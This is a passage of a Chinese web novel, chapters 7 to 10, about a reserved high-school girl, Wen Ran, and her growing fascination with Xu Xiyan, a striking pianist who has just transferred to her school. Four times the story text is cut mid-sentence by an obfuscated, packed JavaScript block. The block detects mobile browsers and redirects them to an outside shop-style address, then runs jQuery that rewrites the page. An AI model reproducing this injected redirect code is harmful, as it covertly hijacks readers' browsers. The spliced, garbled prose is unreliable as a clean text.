《鲸鱼与未尽雨》
7. 汐言
在许汐言望过来的当下,闻染不知怎的就背着包快速闪进了教学楼。
她在一楼楼梯的转角处,背靠着墙,双手背在身后,指腹贴着墙面微妙不平的质感,第一次感受到胸腔里发空。
所以她的心才可以撞着四周的心壁,发出丝毫不规则的节律。
她们的教室在四楼,她埋着头一口气不歇的冲上去,回到自己课桌边找到钥匙,走出教室时,越过走廊的围栏,又往香樟树下看了一眼。
那一身黑衣的少女,已然消失了。
第二天正式开学,闻染走进教室,早读课上总有各种牛肉面炸酱面油条煎饼的气味混杂,塞在课桌抽屉里的外带早饭,好像高三生活里难得明目张胆的放纵。
这天闻染没带早饭,陶曼思也没带,下了早读,陶曼思走到课桌边来叫她:“去不去吃早饭?”
“食堂还是小卖部?”
“小卖部吧,今天不想吃食堂。”
“好。”
其实小卖部和食堂在同一栋楼,食堂在往里走的更深处,小卖部就在门口,规模不算小,只不过不像超市一样可以自由选购,而需要食堂阿姨拿给你,一样可以刷学校的饭卡。
闻染望着食堂里黑压压的一片人,脚步微妙的滞了下。
陶曼思心细:“怎么?”
闻染摇摇头,跟着陶曼思继续往里走。
没有怎么,只是整座学校忽然变成了扫雷游戏,她从踏进学校的第一步起,就把背挺得比平日里更直一些,不知在哪里就会忽然碰到许汐言的身影。
然而没有,哪里都没有许汐言。昨日香樟树下的黑衣少女,那被黄昏的风扬起的蓬松卷发,美好得像是一场白日梦幻觉。
两人排队买早饭。
陶曼思问:“吃什么?”
“牛角面包吧,再要个酸奶。你呢?”
“手撕面包好了。”
不吃食堂的意义,就是可以吃各种各样不同的面包。
走回教学楼的路上,陶曼思拿手掌在脸旁边扇着风:“这天还这么热。”
“嗯。”
闻染轻轻应一声,眼神顺着一排香樟树守护的沿路逡巡。
还是没看到许汐言,她也说不上自己是松了口气,还是心里空荡荡的。
趁着第一节上课前抓紧吃早饭,闻染前桌的同学不在,陶曼思坐在这里跟她一起吃。这时窗外有人叫:“陶曼思。”
高一高二陶曼思都有加入文学社,这时是社里的同学来找。
陶曼思拎着手撕面包出去。
闻染正用吸管把酸奶戳开,第一下没戳破,吸管的尖尖一头弯折了下,她拿手捋了捋,又用力一戳,噗的一声传来时,听到刚从教室外走回来的两个同学在议论:“大美女。”
闻染的耳朵竖了竖。
教室里太吵了,她们的话听不分明。
可是很快,她们坐下后跟周围同学聊了两句,又有几名女生和男生一道,笑着向教室外走:“是不是真有这么漂亮啊?”
“去看看。”
其实她们坐的离闻染不算远,是闻染一回头,笑着加入谈话也不会显得突兀的距离。
但闻染从不擅长与人搭话,她和陶曼思一样性子内敛。她只是静静坐在原处,小块小块把牛角包撕下来喂进嘴,吸一口酸奶,觉得黏在上颚通往咽喉的那一块。
过了不久,那几名女生和男生又笑着跑回来。一个男生笑骂了句脏话:“还真是啊。”
另名女生说:“我觉得比白姝还好看。”白姝从高一开始,就被评为她们学校的校花,表演系的艺术生,据说目标是邶电。
又有男生说:“也不能这么说吧,她们不是同一种类型,白姝长得更文静点。”
“那你说,如果非要对比的话,谁更漂亮?”
男生苦思了一会儿:“那白姝,可能还是输了啊。”玩了个谐音梗。
闻染坐在前两排,背对着她们听着这番谈话,拿纸巾把课桌上散落的牛角酥皮拢到一堆,又一起包进纸巾里。
这时陶曼思从教室门口进来,坐回闻染前桌:“你都吃完早饭了?”
“嗯。”
“我都还没来得及吃。”陶曼思大口把手撕面包塞进嘴里,闻染拿过她的核桃味早餐奶,替她撕开吸管插进去。
“谢啦。”她吸一口,又跟闻染说:“诶你知道么?我刚才去五班,她们班来了个转校生。”
闻染心里一跳,表面不露声色:“转校生不都是昨天来么?”
“她好像是去外省参加什么比赛,时间耽搁了,没赶上昨天报到。”
“男的女的?”闻染觉得自己假死了。
“女的,长得特别特别漂亮。”陶曼思连用了两个“特别”。
闻染笑了:“是有多漂亮?”
连续两年的文学社成员,咬着手撕面包吟了句古诗:“有美一人,清扬婉兮。”
又问闻染:“诶你要去看看么?”
闻染愣了下,摇头:“马上都要上课了。”
“也是。”陶曼思大口解决着自己的早饭面包。
这时闻染身后那桌人在议论:“也不知道美女叫什么名字。”
陶曼思听了一会儿,便也知道她们在讨论许汐言了。
小声跟闻染说:“我知道她叫什么名字,我在五班那边的时候,五班班主任刚好过来叫她。好像叫,许xiyan,也不知是哪两个字。”
陶曼思吸着早餐奶:“是不是牵牛花的那个夕颜啊。”
闻染在心里说:不是。
她不是什么清扬婉兮的蔓草,也不是什么夕阳下落寞的牵牛。
她是正午时分的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490633|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太阳,光线到极盛处是一种近乎冷淡的炽白,天地万物却都为她的光芒臣服。
她是浪潮写就的故事,所过之处,浪潮汹涌淹没过青春初次悸动的心思。
她的名字,叫“汐言”,许汐言。
******
下了第一节课,陶曼思走过来问闻染:“要不要去上厕所?”
闻染正在收拾笔袋,拉上拉链站起来:“好啊,走吧。”
一起手挽手去上厕所,是学生时代友谊的绝佳证明。其实很多时候也不是真的想上厕所,而是在教室里憋闷得太久,总想出去走动走动。
出了教室,陶曼思挽着闻染,正在聊昨晚看完的小说。
闻染忽然意识到一件事——去厕所的路上,会经过五班教室。
其实在搬来高三教学楼以前,也是同种格局,一班在楼下和理科班同一层,二班是文科班打头的一间,厕所在走廊最尽头,跟五班教室隔着一道楼梯。
闻染以前从未意识到这一点。
一路在走廊里前行,路过拎着早饭或塞着耳机的各路同学,闻染分出一半心神去听陶曼思的小说,时不时应和一句:“是吗?”
或者提问:“这人跟女主角是什么关系?”
另一半心神,随了眼神,变成鸽子,扑着翅膀在走廊里不停的飞。
路过的那么多张面孔大多是熟悉的,其中没有许汐言。那么也就是说,许汐言很可能坐在教室里。
可是,闻染观察了一下,陶曼思走在她的左边,而她更靠近走廊外侧,如何才能不露声色的,让眼神越过陶曼思往五班教室里投去?
她发现做不到。
于是微微垂着眼,盯着自己的鞋尖,这才发现白色匡威鞋头不知什么蹭脏了一块,黑乎乎的。
陶曼思忽然一拍闻染的胳膊:“快看,那就是许汐言!”
闻染多垂眸两秒,翕了下睫毛。
抬起,往五班教室里望去。
她心里做过很多假设,比如许汐言被众星捧月的围着聊天,比如许汐言很高冷的在塞着耳机听歌,甚至比如许汐言昨天刚从外地回来、累得趴在课桌上睡觉。
她就是万万没想到,许汐言一只手臂撑着侧颊,正望着窗外发呆。
看起来昨天来得太晚,还没来得及领校服,因此还穿着一件黑色T恤,圆领变V领,衬得白皙的颈项越发纤长。
眼尾仍是塌塌的,显得半分散漫,半分心不在焉,那驾驭钢琴的修长手指间转着一支笔,转了几圈后,“啪”的一声掉在课桌上。
而那时许汐言浓睫掩映的眼眸刚好对上窗外闻染的一张脸,唇角一勾,露出一抹浅笑。
闻染慌忙低头。
香樟叶把阳光裁得细碎,落在鞋面上是斑驳的光影,闻染盯着那一晃一晃的光斑,忽然同手同脚了一下。
8. 谈恋爱
闻染表面很平静,内心在咆哮:许汐言明明在看窗外,陶曼思怎么还叫她看许汐言啊!
转念一想,走廊外路过的那么多人,任谁都能瞧出,其实谁都没被许汐言看进眼里去。
这并非是说许汐言不礼貌,而是比同龄人成熟出一截的黑衣少女,坐在整齐划一的白校服间,心思好像随眼神飘了很远很远。
甚至闻染也不确定,方才许汐言笑那一下,是因为看到了窗外的她这个熟面孔,还是因着手里的笔不知怎的掉到课桌上,所以下意识勾了勾唇。
大概是后者吧。
因为陶曼思在说:“好像都没人敢跟她说话的。”
“嗯?”
“我早上来五班的时候,她也是一个人坐着。”陶曼思自己解释:“也是,她长那么漂亮,又很……洋气?好像是很难跟她亲近的。听说她是从国外回来的。”
“……啊。”
闻染分明听到身后两个男生也在议论:“谁敢跟她说话啊。”
“她估计很傲吧,谁都不乐意搭理那种。”
上完厕所,闻染仔仔细细洗了手,往回走的时候,两人保持原来的站位调了一个头,也就是说,陶曼思换到了走廊外侧,闻染变得更靠近教室。
五班的窗户大开,夏末的风徐徐。
可闻染甚至不敢再偏一偏头,只是余光忍不住飞快的向教室里一瞟。
也许有一抹黑在她视野里一晃而过。
许汐言是油画棒涂出的重色,在她寡淡而苍白的青春里,浓郁得过分。
******
没有哪个转学生引发过这样的轰动效应,以一己之力,让课间话题变作“有没有人和许汐言说上了一句话”。
因为还没正式决定放弃艺考,晚自习之前,闻染还是先去学校琴房登记。
第一天练琴的人不多,大多都是来登记的,因为原先的琴房管理老师离职了,新来的这位不熟悉流程,登记得有些慢。
闻染也没着急,排在队伍的最后一个。
跟着队伍慢慢挪,文学社教室和琴房在同个方向,远远看到陶曼思向她跑来,手里一大摞报纸:“染染你可不可以帮我抱五分钟,我跟老师去领一下钥匙。”
“好。”闻染从她手里接过。
陶曼思飞快的跟着老师跑走了。
这会儿正要排到闻染,管理老师头也不抬的对着电脑登记:“班级,姓名。”
“高三二班,闻染。”
“哪个闻,哪个染?”
以前的那位管理老师与她们都相熟,新的这位今年刚调来,完全的生面孔。
“听闻的闻……”
若拿年岁来比拟,夏末的风大概只有八岁,闻染话说了一半,怀里最上面一张报纸被风一掀,旋落在地。
闻染赶紧去追。
怀里一摞报纸不好弯腰,拿脚去踩又不好,眼看着报纸越飞越远。
闻染跟着跑,垂眸盯着飞飞停停的报纸,所以先映入她视野的,是一双黑色马丁靴,鞋带系得随意而松垮垮的,而让人想起那软塌塌的浓睫。
黑衣少女在她面前勾腰,浓密的长卷发随着她脊背往下滑,纤指拦下那张报纸捡起,抬眸的时候闻染第一次在学校看清她的面容。
没化妆,钢琴比赛时那标志性的红唇不见了,可那一张脸上的五官太浓墨重彩,丝毫不见寡淡。
那是闻染第一次发现,原来“风情”这个词,可以与年龄无关,与阅历无关,她只消站在那里,注定是所有人瞩目的焦点。
这时登记老师在闻染身后喊:“同学,你名字到底是哪个‘染’啊?”
风撩动着闻染的长发,许汐言把报纸放回她怀里,先她一步开口:“感染的染。”
一边肩膀上的单肩包被她背得很有吉普赛风,看向闻染的眼睫毛还是耷着,但眼神认真,向闻染确认:“对么?我比赛那天在公布成绩的大屏上,看到你的名字了。”
闻染:……
其实心里很想吐槽。
这人的中文造诣怎么回事啊?组词的话一般会说“一尘不染”的染吧,什么叫“感染”的染?
表面却对着许汐言点点头。
管理老师叫:“你自己过来把名字写在出入卡上。”
闻染一愣:“今年还有出入卡?”以前琴房没有这些。
“是啊,规范管理嘛。”
浅绿色的卡片已被放在桌上,闻染老早就看了那桌面,堆得满满当当,没有放她所抱这摞报纸的空隙。
难道让许汐言帮她抱着……
而这时许汐言开口,那把嗓音在夕阳里发暗,是同龄人不具备的故事感:“不介意的话。”
“嗯?”
“我帮你写名字?”
闻染愣了下:“好啊。”又赶紧添上一句:“麻烦你了。”
许汐言走过去,勾腰,抓起桌上的笔,把蓬松的长卷发勾到一边耳后。她今天穿一条暗色的格纹短裙,显得双腿越发修长白皙,夕阳把少女的轮廓镶一层浅金的边。
闻染盯着那大腿,忽然想:能看到内侧那颗浅棕的痣么?
眼神落在那一片雪白时又被自己吓了一跳。
闻染,想不到你是这种人!
赶紧收回视线。
许汐言直起腰看向她:“写好了,你过来看看?”
“……嗯。”闻染抱着报纸走过去。
想不到许汐言从小在国外长大,一笔中文却写得这样好看。错落有致,气势开阔,莫名让闻染想起汉末大家钟繇的笔锋。
闻染小声说:“谢谢。”
管理老师:“我这里没有塑封机,你自己拿到校外的打印店去塑封一下。”
“好的,老师。”
陶曼思还没回来,可闻染和许汐言待在一处紧张得过分,便想把报纸抱到教室交给陶曼思。
许汐言把出入卡放到她那摞报纸上,又问:“等我一下?”
闻染一愣。
许汐言:“如果你不忙的话。”
“……不忙。”
许汐言做完了登记,领了出入卡,走向闻染:“我就说今天在走廊里看到的好像是你,其实也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490634|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有什么事,就是上次你借我丝袜。”
闻染心想:许汐言不会要还她丝袜吧。
是新的一双,还、还是许汐言穿过的……
许汐言把手探进单肩包,摸出一个精致的小铁盒:“这给你,算是道谢?”
闻染垂眸看,是国内完全没见过的包装,长方形,浅浅的米白,上面很法式的简笔画勾勒的应该是《小王子》主题。
那应该是一盒曲奇饼干。
事实上那时闻染抱着摞报纸:“呃……”
晚风撩动着许汐言的裙摆,许汐言跨前一步,把小铁盒放在闻染的那摞报纸上又退开:“我先走了。”
“不上晚自习?”
许汐言摇了一下头,她眼神看上去很疏懒,但每每同人说话时又很礼貌:“我跟学校打了申请,需要校外练习的时候就不上晚自习。”
闻染到底也没问出那句“你为什么没有转去外国语而转来了我们中学”。
许汐言没说再见,她只是同闻染点了一下头,转身往校门的方向走。
很多年后闻染回忆起来,那时她看着许汐言的背影。
那是一个夏天的尾巴,空气里飘荡着学校荷塘传过来的气息,黑衣少女不是走进一片夕阳的光影里,而是融进一片光晕里去,她不停的融解、融解,直到她也变作了那橘暖色调的一部分,背影就远得看不到了。
闻染收回眼神,被旁边冬青丛边忽然跃出的陶曼思吓了一跳。
陶曼思忽然打了闻染一下,然后推了推鼻梁上的眼镜。
闻染:“啊。”
她先是把闻染怀里的报纸接过来,闻染把报纸最上面的出入卡和曲奇铁盒拿走。
陶曼思:“你是学校里第一个跟许汐言说上话的!”
“……不至于,只是我跟她说话被你看到了。”
“她给你的这是什么啊?”
闻染攥紧手里的铁盒:“应该是饼干。”
从礼貌上来说,她应该打开铁盒邀请自己从小到大的好朋友:“你也尝一块吧。”
可一向温顺妥帖的闻染,只是紧紧攥着铁盒,固执的始终没有开口。
心里抱歉的想:连续请陶曼思吃三顿早饭好了。
陶曼思问:“她为什么给你饼干?”
闻染决定实话实说:“暑假时我参加一个钢琴比赛,跟她遇到了,她没带丝袜,我有多余的一双,所以借给她了。”
“哇……想不到你跟她还有这等缘分。”
闻染心想:担得起缘分两个字么?
在许汐言那双淡然的眼里,这应该只是你来我往的礼貌。
陶曼思略微抱怨:“今早我跟你说起她的时候,你怎么不说啊。”
“就是……”闻染想了想该怎么表达:“我不想显得自己在攀高枝似的。”又补一句:“不是谈恋爱的那种攀高枝。”
“懂你的意思。”陶曼思笑道:“谁说你是谈恋爱的意思了,你们俩明明都是女生。”
闻染张张嘴,又闭上,吞了口傍晚的夕阳。
“嗯。”她说。
9. “闻染。”
下了晚自习,闻染跟陶曼思一起走出教室。
校园里暗了下来,这并非只是说夜色肆意的铺陈,沉默卫士般的路灯总不够通明。而是闻染知道许汐言不上晚自习,所以也就少了那种既紧张、又期待的心情。
走在校园里不再是扫雷游戏,不再担心不知在哪里会偶遇许汐言这颗雷,心跳炸出轰然作响的“砰”一声。
两人先是一起到车棚取车,一起推着走了一阵,闻染道:“你先骑车走吧。”
“你要干嘛?”
“琴房的管理老师说,出入卡要用一整年,建议我们找打印店塑封一下。”
“你买个卡套不是更方便?”
闻染忖了忖:“还是塑封吧。”
“那好,我先走啦。”陶曼思跨上车跟闺蜜挥手:“明天见。”
“嗯,明天见。”
闻染自己推着车,走到生意正红火的打印店外,放下脚蹬撑住车,本想偷懒不锁车了,后来还是谨慎起见的锁了。
走进打印店。
开学第一天,各种打印复印的任务很多,闻染排在队伍里,听着打印机复印机嘎吱嘎吱的作响,鼻端飘散着油墨香,让她得以有许多的时间,把出入卡掏出来,仔仔细细的看了遍。
第一行的三年级(2)班,大写的“三”和阿拉伯数字的“2”是管理老师写的,好在笔画简单,也看不出什么。
第二行的姓名栏,便是许汐言亲手写的。
闻染又用眼神把那两个字的笔画描摹了一遍。说来奇怪,这好像是她第一次去数,原来“闻”字有九笔,“染”字也有九笔。
从前初中时班里玩数笔画测两个人是否相配的游戏,闻染都从未数过自己名字的笔画。
这时排到她了,老板很社会的问她:“办什么业务?”
闻染递上出入卡:“塑封。”
“你去买个卡套不就得了?”老板的建议跟陶曼思如出一辙:“这样还更贵。”
“没关系,还是塑封吧。”
把两个笔画巧合的都为九的汉字,封印在里面。
拿到从塑封机取出来的出入卡,四周一圈还带着隐隐的温度,闻染把指腹贴在上面,心里冒出个浪漫得过分的想法:这张塑封过的出入卡,也像一枚小小的琥珀。
封印的是时光,保存的是许汐言写下她名字的记忆。
从此她每次出入琴房,会不会更喜欢练习弹钢琴这件事一点。
******
闻染骑自行车回家,柏惠珍到门口来迎她:“染染,今天怎么迟了八分钟啊?”
闻染卸下书包:“办了琴房的出入卡,拿去打印店塑封了。”
“哦哟,琴房今年还要出入卡啦?”
“嗯。”
“快去洗手,过来吃宵夜了。”
闻染洗了手坐到餐桌边,外婆早已睡了,只剩舅舅很老派的翻着纸质报纸,他在家也习惯穿一双软底的黑布鞋,脚底的花砖是上世纪流行的国民图案。
柏惠珍给闻染准备的是酒酿蛋:“煮了两个鸡蛋,全部要吃掉的哦。”
“妈,这样会胖。”
闻染想起今天许汐言帮她写名字,许汐言今天的黑T恤是短款,勾腰时隐隐露出一截纤瘦的背脊。
柏女士眉毛一挑:“哪里会胖啦!你升高三了诶,各么吃多少热量都消耗掉了的呀。”
她索性在闻染旁边坐下来,又强调一遍:“都要吃掉。”
闻染笑笑,把一勺酒酿喂送进嘴。
柏惠珍总喜欢多放糖,夏末初春的夜里空气一点点染凉,酒酿暖暖甜甜,老实说味道很不错。
家人的爱好像就是这样,有时候你好像很难说,是享受更多一点,还是莫名的想逃离去呼吸自由更多一点。
又或者,这两种心情根本就同时并存。
等闻染吃完,柏惠珍收走碗,一边问闻染:“作业多不多?”
“还挺多的。”
“那你赶紧去写,不然又要熬夜。”
“熬夜是肯定要熬夜的。”闻染拎着书包站起来:“妈妈你早点去睡,不要等我,不然你明早要起来照顾外婆,熬不住的。”
“好,知道了。”
闻染踩着咯吱咯吱的木楼梯上二楼,她的房间右手边是爸妈的卧室,左手边是表弟的卧室,推开门,里面除了小小一张单人床,也不过一张写字桌对着窗,外加一个窄窄衣柜。
海城的老房子就是这样,外面看着红砖墙常青藤的多文艺,其实里面格局被分得细碎,摊到每个人头上的不过巴掌大。
但闻染还是很喜欢这房间。
等父母睡了,事实上全家的人都睡了,她一个人悄悄锁上门,台灯不是后来流行的白炽护眼灯,而是从小习惯的暖白黄调,她不拉窗帘,晃着笔杆写作业,偶尔累了,便抬头往对面的斜斜屋顶看一眼。
这天,她又多了一个秘密,悄悄把那精致的长方形铁盒从包里拿出来。
上面是法文,是许汐言去法国比赛时买的吗?
闻染去淘宝上悄悄搜了下,找不到同款。
她小心的撕掉封口胶,轻轻把盒盖打开来。
居然不是曲奇饼干。
而是嵌了扁桃仁碎的巧克力片,浓郁的黑巧味道混上黄油的焦香,闻染丝毫不怀疑,如果表弟这时还没睡的话,一定会来敲她的房门问她在吃什么。
可是闻染没有吃,而是找了个以前装饼干的罐子,轻手轻脚溜到一楼的厨房,把罐子仔仔细细洗了遍,又用厨房纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490635|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巾一点点蘸干,溜回二楼,把巧克力片倒了进去,罐子收进抽屉。
然后仔仔细细的,把铁盒里所垫的银箔纸取出来。
巧克力片被收纳的精细,另点了层蜡光纸,所以银箔纸上一点油脂都没沾到。
闻染把它压到窗台上她养的一盆多肉之下,洗了满手的巧克力香,上床睡觉。
第二天一早,窗户推开一条小缝,清晨的阳光和风漏进来。
一直到晚自习下课,渐渐入秋了便开始多雨,分明好了整日的天气,不知怎的快要落雨。
闻染催促正在收书包的陶曼思:“快快快!”
陶曼思笑道:“淋点雨也没关系的呀,又不是纸片人。”
闻染不是纸片人,可她压在窗台那盆多肉之下的,妥妥就是纸。
她飞快的骑车冲回家,又说换了衣服再吃柏女士的宵夜,冲上二楼,恰好这时窗外开始落雨,第一滴雨落在旧木扉的窗台上,然后是第二滴。
闻染抢在第三滴雨落下之前,关了窗,收走了压在多肉之下的银箔纸。
凑到鼻端闻了闻。
原来黄油的味道是不持久的,砂糖的味道也是不持久的,这银箔纸被吹了整日散味,最后留下的,就是巧克力淡淡的醇苦味道。
闻染小心的把它夹进语文的选修课本。
其他人的书签是落叶,是花笺,是精致的镂空金属,可从此她的书签,是一张小小的银箔纸,用了很多很多年。
******
第二天课间休息,陶曼思坐到闻染的前桌来跟她聊天,顺手把玩着她笔袋拉链上的跑跑卡丁车挂件,压低声跟她说:“你都不知道许汐言有多火。”
“人人都想跟她搭话,又不敢。虽然听说她领书、领作业的时候跟人说话很礼貌,但毕竟,看起来是有点傲的对吧?”
陶曼思的声音进一步放低:“我都不敢跟任何人说你认识许汐言,我怕你的座位被里三层外三层的围起来。”
然而这时,打开的教室门外被挡了半爿光影。
适合随身CD机的校园里怎会有黑胶唱片般的音色。那是许汐言站在二班门口喊:“闻染。”
其实课间的教室总归吵闹,有人互相抛着球,有人聊着暑假追的番剧笑得很大声,有人在叽叽咕咕的背着历史。
可所有这些声音,一瞬安静下来。
很多年后,当许汐言在舞台上大放异彩的时候,闻染回想起这一幕,觉得许汐言就是有这样的魔力——
但凡她出现,就是人群瞩目的焦点。阳光,叶片光斑,黑板上的板书,旁边所悬的三角尺,一切一切,都变作衬托她美丽的布景。
她是青春里一首用词过分华丽的散文诗,所以你会,记很久很久都不忘。
10. 耳朵
许汐言今天换了校服。
原来白色也这样适合她。梓育中学的夏季校服有点水手款,翻领外镶一道蓝边,白T恤之下,男生是短裤,女生是蓝色百褶裙。
许汐言个子高,所以很多女生穿来到膝盖的百褶裙,被她穿得刚到大腿的三分之二,显得一双腿越发纤长。
一头海藻般的蓬松卷发并没有束起来,就那样垂在肩后。白T恤塞进百褶裙的腰际,可即便这样一套校服也被她穿得并不乖顺,配一双高帮的黯蓝色匡威。
她没有像有些女生一样悄悄化着裸妆,没有嚼口香糖也没有戴任何首饰,可她淡淡的神情顶着一张浓颜的脸站在那里,你就是感受到了一种……风情。
一种干净的、盛大的、介于成年与未成年之间的,风情。
那样的美是让人不敢一直盯着瞧的,可所有人都听到她方才用不大却特别的嗓音喊:“闻染。”
于是全班人的视线都投向闻染。
闻染一脊背的汗都出来了,就愣愣的坐着。
还是陶曼思用食指在她手腕上轻轻敲了下,用气音提醒:“人家叫你呢。”
闻染这才站起来,在所有人的瞩目中埋着头,快步向教室门口走去。
许汐言在教室门口等她,退开一步,先行走到走廊。
闻染跟过来,在她面前站定,但隔着大半个人的距离,束着马尾而露出的耳尖,在染了香樟味的阳光下微微泛红。
许汐言想到那次参加钢琴比赛,她在储物柜的门后换衣服,匆忙间瞥了眼等在一旁的少女,别的没什么印象了,也就记得这样一个发红的耳朵尖。
许汐言心想:有这么害羞么?
她不说话,闻染就一直背着手,温顺的站在她面前,也不说话,薄薄的眼皮微微垂着。
直到许汐言说:“下午的颁奖你怎么过去?”
“啊?”
“你不知道么?”这次轮到许汐言意外了下:“就是上次我们一起参加的钢琴比赛,今天下午有个颁奖仪式,前十名都要去领奖。”
“哦……我妈一般会留她的手机号,所以我还没接到通知。”
闻染心想,她这现在参加比赛总是十一、二名的成绩,也就这次比赛拿了第九。
许汐言点了一下头:“我下午从学校打车过去,你要一起么?”
“我……如果要去的话,我妈应该会来学校找我。”
许汐言居然笑了下,很浅。
笑什么?笑她是妈妈的乖宝宝么?
没想到许汐言接着说:“那我们三个人要打一辆车么?”
闻染愣了。
有人愿意跟同学父母打一辆车的么?
许汐言看她没有拒绝的意思:“那就这样说定了,马上上课了,我先回班了。”
“嗯,再见。”
其实在其他人看来,闻染和许汐言说话其间,两人隔了八丈远,那是分外不熟。可闻染毕竟是第一个跟许汐言说这么多话的人,毕竟是许汐言亲自主动来找的人。
闻染和陶曼思都是内敛性子,长相、成绩、才艺也都没什么特别出众的地方,一直在班里扮演“隐形人”角色。
可这时闻染走进教室,发现她的课桌已被团团围住:“闻染!你跟许汐言怎么会认识啊?”
闻染坐回自己座位,用尽量简练的语言解释:“暑假参加过同一个钢琴比赛。”
其实那时她的心情很奇怪。
好像,她和许汐言认识这件事能给她带来任何虚荣感的话,这件事就不那么纯粹了。
所以她只想尽快结束这场对谈,让这件事像她悄悄夹在语文选修课本里的银箔纸一样,变成她一个人的秘密。
“你们是朋友吗?”
“完全不是,一点不熟。”
“可她主动来找你诶!”
“只是比赛有个颁奖。”
好容易上课铃打响,同学们纷纷回座,闻染松一口气。
又一个课间,闻染果然收到柏惠珍的信息,告诉她下午临时增设了一个颁奖礼的事。
柏惠珍告诉她:【我下午要带外婆去看诊,结束后就来学校找你。颁奖礼是四点半开始,你跟老师请下午最后两节课的假好了。】
【好,知道了。】
下午第三节下课后,许汐言来二班找闻染。
闻染有些为难:“我妈带我外婆去看诊耽误了些时间,我得等她过来再出发。”
许汐言一时没说话。
闻染赶紧说:“你是第一名要早点过去候场吧。”
许汐言礼貌的点点头:“那,要不我就先走了?”
“好的好的好的。”
闻染生怕耽误许汐言时间,一叠声蹦出三个“好的”。
许汐言转身走了,闻染飞快回教室收拾了包,不欲回答同学们过分八卦的问题,跟陶曼思打了个招呼后就钻出教室。
往校门口走的路上,收到陶曼思微信:【其实我也有个问题。】
【不许问!】
陶曼思依然发来:【你每次跟她说话,站那么远干嘛啊?】
【因为我们!真的!特别不熟啊!】
陶曼思发来一个大笑的表情包:【好,知道了,你肯定有内什么“美女恐惧症”。】
因为许汐言肯定在校门口等车,所以闻染没急着出去。
保安奇怪的看她一眼:“同学,什么事?”
“哦,我请了事假。”闻染递上班主任批的假条。
保安收了假条:“那你怎么不出去?”
“……我待会儿。”
一直到柏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490636|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惠珍给她打电话:“染染啊我到你学校门口了,我怕堵车坐地铁过来的,但去演播厅没有合适的地铁只好打车了,我叫了网约车,你赶紧出来。”
闻染匆匆出去。
校门口空荡荡,许汐言果然早已走了。
闻染远远看到柏惠珍冲她招手:“染染,车到啦。”
闻染跑过去。
母女俩一起登车,都坐后排,柏惠珍递给闻染一个保温杯。
闻染接过:“这什么?”
“红糖姜茶。”柏惠珍暗示性的往她小腹看了一眼。
闻染这才想起来,她的生理期一向规律,按日子算起来,今天应该是她这个月的第一天。
闻染握着保温杯,望向车窗外挑了一下唇角。
要说这份爱有点沉重的话,是不是显得有点不识好歹?
可是,连大姨妈都在亲妈的监视下这种事,还真是……有点怪怪的。
出租车顺利开到演播厅,因为今天只是颁奖,不用换礼服,只需淡淡去后台扫个妆。
闻染在出租车上隐隐有点感觉,先去厕所看了眼,果然,大姨妈来了。
她书包里都备有卫生巾,赶紧垫上。
柏惠珍在厕所门口等着她一起去后台,交代她多喝些红糖姜茶。
闻染到后台先找许汐言的身影,许汐言已化完了妆,很淡,倒不如初次见面时她的红唇夺目。工作人员跟她对完了流程走开,她一个人坐在高脚凳上,微蜷着背,一手摁着自己的小腹。
闻染有点担心,又不好说什么,暂且坐下来化妆。
化完妆又看一眼,许汐言蜷得更厉害了,脸即便上了粉底,看着也有些苍白。
柏女士终于注意到女儿的眼神,随着她看过去:“呀,漂亮小囡怎么了这是?”
闻染放低音量:“她现在转到我们学校了。”
“真的呀?怎么没听你说起过。”
“……没什么好说的。”不想跟同学说,也不想跟家人说,想当成唯自己保守的秘密。
“这就是缘分了呀。”柏女士说:“哎,其他小囡都有家长陪,她怎么每次一个人?瞧着老可怜的。”
柏女士这个社牛,站起来就往那边走去。
闻染坐在化妆镜前蜷着手指,她怀疑许汐言是痛经,想让柏女士这个社牛主动给许汐言倒杯红糖姜茶。
但她万万没想到,柏女士走过去问:“痛经了呀?”
许汐言点点头。
“有没有家人来照顾你呀?”
许汐言摇摇头。
